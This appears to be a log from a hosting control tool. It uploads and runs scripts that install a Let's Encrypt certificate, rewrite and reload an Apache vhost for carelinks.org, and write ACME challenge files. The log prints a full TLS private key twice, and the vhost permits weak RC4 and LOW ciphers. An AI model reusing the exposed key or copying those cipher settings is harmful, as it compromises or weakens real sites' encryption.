B7P3kN+bwj1xMiXdIaklrGHFTiEAAAGa3aW8MQAABAMARzBFAiEAnDRE++3GkbLo
zU4ENDgPHD47iNaqzgLfsw94VCUN8LYCIFE5bQHHyOVC3HBi97NtYQwSAqrLksME
PQb+3izymTCDMA0GCSqGSIb3DQEBCwUAA4IBAQCLSz5rXQJMQerG23IGBRGT+XUd
0rBRmibNxe+L5ngwD5HvDII/FxH2R5v6oFWNjfMlRinEXgUf9VfNb2/qeM0PeBgH
I+wSovSGME8O2diGDVwAXjMlVSjUpuWEkucX+CPFJ+VZ1uvXuAY1znh6OQQC5KpS
aAFJBy1aWSs+nHWR2rNg8vzXQQQojuoi7pIdVFcaCbnW2I/tYpJQuIi+XVPhvOcV
PKiE7bijAZGP5uStR1i7kqYxIxvGG7JV9yxaUdQrFpQhYb/WXX0b+N/FvkXzWRAo
9fsgYh1DuLk8DylKe9vO7R/+GARjPUP2Xc4lbak7Q3VSXJxyUEG/WyyuiJTD
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC9PUNxHH7WSYfZ
1t9pEYnKtba1wvT/brp/RrMWsI+qkthwpS9TSwrxxgpK5vjhl5+cQ3ZUn1CEDNRe
vT2tx2Ika1u4rS1QbKNknepEj6NydIY3jD/g2JnH/2FBM/jnHBXJxB3KTE9zhsmN
VyqcuQ5RYdr/gogE2T7E8iO/jI+639Dd9yETiAem+G/LDpk39ohcH5oe1m5M/2Vo
LABvbqEYderQliVZsOwMyTzV6WpL0Ih6jyfajbEXHgn3sLmxJj1rR3KVAC6xfV6I
/dIDz8nRnQt85tcA4cOZebhyag9upAseC55h+/oRWQsAB2D6kpvFu/Dsa9MWpZaT
SHEUhuezAgMBAAECggEAMsSyyS+p33dOmOSKfzeTTey+Hbk13Skpo2emOBoaENrg
cif+sEvbnc1RiZK5hlwVF+kJX951zVdbyibe2zY4YCjlLIBZPdBHbYDoDoiygsw8
Db70jC/P4dXjk4iL6ASi28RfcZxTXFz2yZJu/iivbKniBNZSA2r86f1EFelxzeIz
cYPVDUFNmL7s4hsDTZUldQwC39UMS1eEN9OAtomQzqArJfJu2P1pNJVw/4uMQxu/
0W9nuBGlHQBXPIxqZerfJ1xbRphh3ltVBPtGMxnF4Gou37u1+0E9Mll9uS7jh780
qpjcixnn9tK8N4Iz5NmwuLjN/0FSAhLtLDrc1HkBwQKBgQDolikCDx0N/fvruMcs
EfP3jOmNldlnpfGiNRJWKTMxSPkPayexHmzBG7z3XyIXc9JwID2Yb20vDqqH2E7G
jf9E0JIEUmWEr1WP+3R6Xd56euKPTeGNyut3VeC9PNma931jrB48/bmJyRcgSHih
Rg/pAdZ9i7fPcMLQ4l9dTBv0gwKBgQDQSgdkr+7+/QzbpsRVaAyY339RWX5g1Wqp
9iebKP2uas2kH5sr/dFfAmxvF5qvNHrOOTDIW2k79Y9QqacY/UbfLbeTjMePuxVh
7Znz/eMzhpoc/UYkVHZ7CbIVDv/jsnz9rJzB/ErH3d6SL8MABHPwumF3GrT8Z9/Q
GXQGmdO5EQKBgBScuiWkkT6cM6dASOZu8OAPbONPVGULH87wRR+9pvvHK8tiA7J+
r8StYKHLnInXid7F/K91sIdrFVHUqaaPDwBaO5aGdti7cSnBbyEpEH5qRYnNrR+T
zCpXQgODUQWayVH7/vIIylibqaECyy3/t4k+0HNv3mpT4+//H9R02kVhAoGAeiNO
3o4EGWYNyieqbWKMMICuSeeuod3DpFKBuwx4ZXSfjaQy+8LkqU/kgehXfnHJqXAD
2RkxRkWiemxhXdf3XRuT0GP3CaNs0HXhlx/DwQ0nBeTG4rrclx2CXbLj/oNFpAM6
EM5+k2DZCOQU9selrP299XeltXS7221xigVeD+ECgYBaTa1VSA+G92XYp2Ah0Hb9
gQ39ITu5ssc5zEPIGbjaN++aQKNDXO9fYKZDtW0ohweK8ta+ZhkQkxLr6krH/RLV
xSih8yB2otQ39JJ3BKfa4pxE2wuoJDXDqnjdsr7sa/KYNuu0r1tDvxEHvPZE/OeA
27ySWYF3zRs3FgQfjOJDsQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-02 06:00:22:
chmod 755 /tmp/pkp355379; /tmp/pkp355379; rm /tmp/pkp355379
2025-12-02 06:00:23:
dir=/etc/ssl/certs
2025-12-02 06:00:23:
PUT: /tmp/pkp783055
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinks_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-02 06:00:23:
chmod 755 /tmp/pkp783055; /tmp/pkp783055; rm /tmp/pkp783055
2025-12-02 06:00:23:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org.conf 41
<VirtualHost *:80>
ServerName carelinks.org
ServerAlias www.carelinks.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-02 06:00:23:
PUT: /tmp/pkp403966
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_org.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName carelinks.org
ServerAlias www.carelinks.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinks_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinks_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_org.conf= 1'
fi
2025-12-02 06:00:24:
chmod 755 /tmp/pkp403966; /tmp/pkp403966; rm /tmp/pkp403966
2025-12-02 06:00:24:
2025-12-02 06:00:24:
PUT: /tmp/pkp755009
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-02 06:00:25:
chmod 755 /tmp/pkp755009; /tmp/pkp755009; rm /tmp/pkp755009
2025-12-02 06:00:25:
.
2025-12-02 06:00:25: Establishing a connection
2025-12-02 06:00:26:
PUT: /tmp/pkp291828
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-02 06:00:27:
chmod 755 /tmp/pkp291828; /tmp/pkp291828; rm /tmp/pkp291828
2025-12-02 06:00:28:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
alias www.carelinks.net
port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
alias www.carelinks.org
port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
alias www.persianchurch.info
port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443 is a NameVirtualHost
default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
alias www.carelinks.net
port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
alias www.persianchurch.info
port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-12-02 06:00:28:
PUT: /tmp/pkp871873
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/carelinks_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-02 06:00:28:
chmod 755 /tmp/pkp871873; /tmp/pkp871873; rm /tmp/pkp871873
2025-12-02 06:00:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org.conf 1206
<VirtualHost *:80>
ServerName carelinks.org
ServerAlias www.carelinks.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_access.log combined
ErrorLog /var/log/apache2/carelinks/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
</VirtualHost>
<VirtualHost *:443>
ServerName carelinks.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
DocumentRoot /var/www/carelinks
<Directory /var/www/carelinks>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/www_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-02 06:00:28:
PUT: /tmp/pkp371660
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-02 06:00:29:
chmod 755 /tmp/pkp371660; /tmp/pkp371660; rm /tmp/pkp371660
2025-12-02 06:00:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt 5368
3c:27:23:53:43:1c:87:de:9c:c9:ce:ad:3a:5b:24:db
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBZbkmi3uL+sUpriRuUZ/5NpRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAyMDUwMTQ3WhcNMjYwMzAyMDUwMTQ2WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3Mub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
vT1DcRx+1kmH2dbfaRGJyrW2tcL0/266f0azFrCPqpLYcKUvU0sK8cYKSub44Zef
nEN2VJ9QhAzUXr09rcdiJGtbuK0tUGyjZJ3qRI+jcnSGN4w/4NiZx/9hQTP45xwV
ycQdykxPc4bJjVcqnLkOUWHa/4KIBNk+xPIjv4yPut/Q3fchE4gHpvhvyw6ZN/aI
XB+aHtZuTP9laCwAb26hGHXq0JYlWbDsDMk81elqS9CIeo8n2o2xFx4J97C5sSY9
a0dylQAusX1eiP3SA8/J0Z0LfObXAOHDmXm4cmoPbqQLHgueYfv6EVkLAAdg+pKb
xbvw7GvTFqWWk0hxFIbnswIDAQABo4ICMDCCAiwwDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBSejYx4Y1cqg7hD3ZoQmes4514PHjAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5vcmeCEXd3dy5j
YXJlbGlua3Mub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvODIuY3JsMIIBBAYKKwYBBAHWeQIE
AgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGa
3aW8OQAABAMARzBFAiBhHXgC9IqHB8tZxU2v+g3qFQ0b8hR7rr5XL6MTwtedgwIh
AP29M/8B/5LrX0evRxq8yPOtZW8GD3cP+C7Ie1S/+o0qAHYADleUvPOuqT4zGyyZ
B7P3kN+bwj1xMiXdIaklrGHFTiEAAAGa3aW8MQAABAMARzBFAiEAnDRE++3GkbLo
zU4ENDgPHD47iNaqzgLfsw94VCUN8LYCIFE5bQHHyOVC3HBi97NtYQwSAqrLksME
PQb+3izymTCDMA0GCSqGSIb3DQEBCwUAA4IBAQCLSz5rXQJMQerG23IGBRGT+XUd
0rBRmibNxe+L5ngwD5HvDII/FxH2R5v6oFWNjfMlRinEXgUf9VfNb2/qeM0PeBgH
I+wSovSGME8O2diGDVwAXjMlVSjUpuWEkucX+CPFJ+VZ1uvXuAY1znh6OQQC5KpS
aAFJBy1aWSs+nHWR2rNg8vzXQQQojuoi7pIdVFcaCbnW2I/tYpJQuIi+XVPhvOcV
PKiE7bijAZGP5uStR1i7kqYxIxvGG7JV9yxaUdQrFpQhYb/WXX0b+N/FvkXzWRAo
9fsgYh1DuLk8DylKe9vO7R/+GARjPUP2Xc4lbak7Q3VSXJxyUEG/WyyuiJTD
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC9PUNxHH7WSYfZ
1t9pEYnKtba1wvT/brp/RrMWsI+qkthwpS9TSwrxxgpK5vjhl5+cQ3ZUn1CEDNRe
vT2tx2Ika1u4rS1QbKNknepEj6NydIY3jD/g2JnH/2FBM/jnHBXJxB3KTE9zhsmN
VyqcuQ5RYdr/gogE2T7E8iO/jI+639Dd9yETiAem+G/LDpk39ohcH5oe1m5M/2Vo
LABvbqEYderQliVZsOwMyTzV6WpL0Ih6jyfajbEXHgn3sLmxJj1rR3KVAC6xfV6I
/dIDz8nRnQt85tcA4cOZebhyag9upAseC55h+/oRWQsAB2D6kpvFu/Dsa9MWpZaT
SHEUhuezAgMBAAECggEAMsSyyS+p33dOmOSKfzeTTey+Hbk13Skpo2emOBoaENrg
cif+sEvbnc1RiZK5hlwVF+kJX951zVdbyibe2zY4YCjlLIBZPdBHbYDoDoiygsw8
Db70jC/P4dXjk4iL6ASi28RfcZxTXFz2yZJu/iivbKniBNZSA2r86f1EFelxzeIz
cYPVDUFNmL7s4hsDTZUldQwC39UMS1eEN9OAtomQzqArJfJu2P1pNJVw/4uMQxu/
0W9nuBGlHQBXPIxqZerfJ1xbRphh3ltVBPtGMxnF4Gou37u1+0E9Mll9uS7jh780
qpjcixnn9tK8N4Iz5NmwuLjN/0FSAhLtLDrc1HkBwQKBgQDolikCDx0N/fvruMcs
EfP3jOmNldlnpfGiNRJWKTMxSPkPayexHmzBG7z3XyIXc9JwID2Yb20vDqqH2E7G
jf9E0JIEUmWEr1WP+3R6Xd56euKPTeGNyut3VeC9PNma931jrB48/bmJyRcgSHih
Rg/pAdZ9i7fPcMLQ4l9dTBv0gwKBgQDQSgdkr+7+/QzbpsRVaAyY339RWX5g1Wqp
9iebKP2uas2kH5sr/dFfAmxvF5qvNHrOOTDIW2k79Y9QqacY/UbfLbeTjMePuxVh
7Znz/eMzhpoc/UYkVHZ7CbIVDv/jsnz9rJzB/ErH3d6SL8MABHPwumF3GrT8Z9/Q
GXQGmdO5EQKBgBScuiWkkT6cM6dASOZu8OAPbONPVGULH87wRR+9pvvHK8tiA7J+
r8StYKHLnInXid7F/K91sIdrFVHUqaaPDwBaO5aGdti7cSnBbyEpEH5qRYnNrR+T
zCpXQgODUQWayVH7/vIIylibqaECyy3/t4k+0HNv3mpT4+//H9R02kVhAoGAeiNO
3o4EGWYNyieqbWKMMICuSeeuod3DpFKBuwx4ZXSfjaQy+8LkqU/kgehXfnHJqXAD
2RkxRkWiemxhXdf3XRuT0GP3CaNs0HXhlx/DwQ0nBeTG4rrclx2CXbLj/oNFpAM6
EM5+k2DZCOQU9selrP299XeltXS7221xigVeD+ECgYBaTa1VSA+G92XYp2Ah0Hb9
gQ39ITu5ssc5zEPIGbjaN++aQKNDXO9fYKZDtW0ohweK8ta+ZhkQkxLr6krH/RLV
xSih8yB2otQ39JJ3BKfa4pxE2wuoJDXDqnjdsr7sa/KYNuu0r1tDvxEHvPZE/OeA
27ySWYF3zRs3FgQfjOJDsQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-02 06:00:29: Establishing a connection
2025-12-02 06:00:29: Establishing a connection
2025-12-02 06:00:30:
PUT: /tmp/pkp208768
#!/bin/bash
if [ -d "/var/www/theyoungdesigners_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-02 06:00:30:
chmod 755 /tmp/pkp208768; /tmp/pkp208768; rm /tmp/pkp208768
2025-12-02 06:00:30:
1
2025-12-02 06:00:31: Establishing a connection
2025-12-02 06:00:31:
PUT: /tmp/pkp260952
#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cat > Ziu_CDaARTQGDjJJ2giZxI86SfjtYdZ9A4bEuS1cHdE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Ziu_CDaARTQGDjJJ2giZxI86SfjtYdZ9A4bEuS1cHdE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Ziu_CDaARTQGDjJJ2giZxI86SfjtYdZ9A4bEuS1cHdE
cat > C8vuQTeHJmv8qzJdnlcN6FhUmpGSgk7Ks3AHSySWW9s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
C8vuQTeHJmv8qzJdnlcN6FhUmpGSgk7Ks3AHSySWW9s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
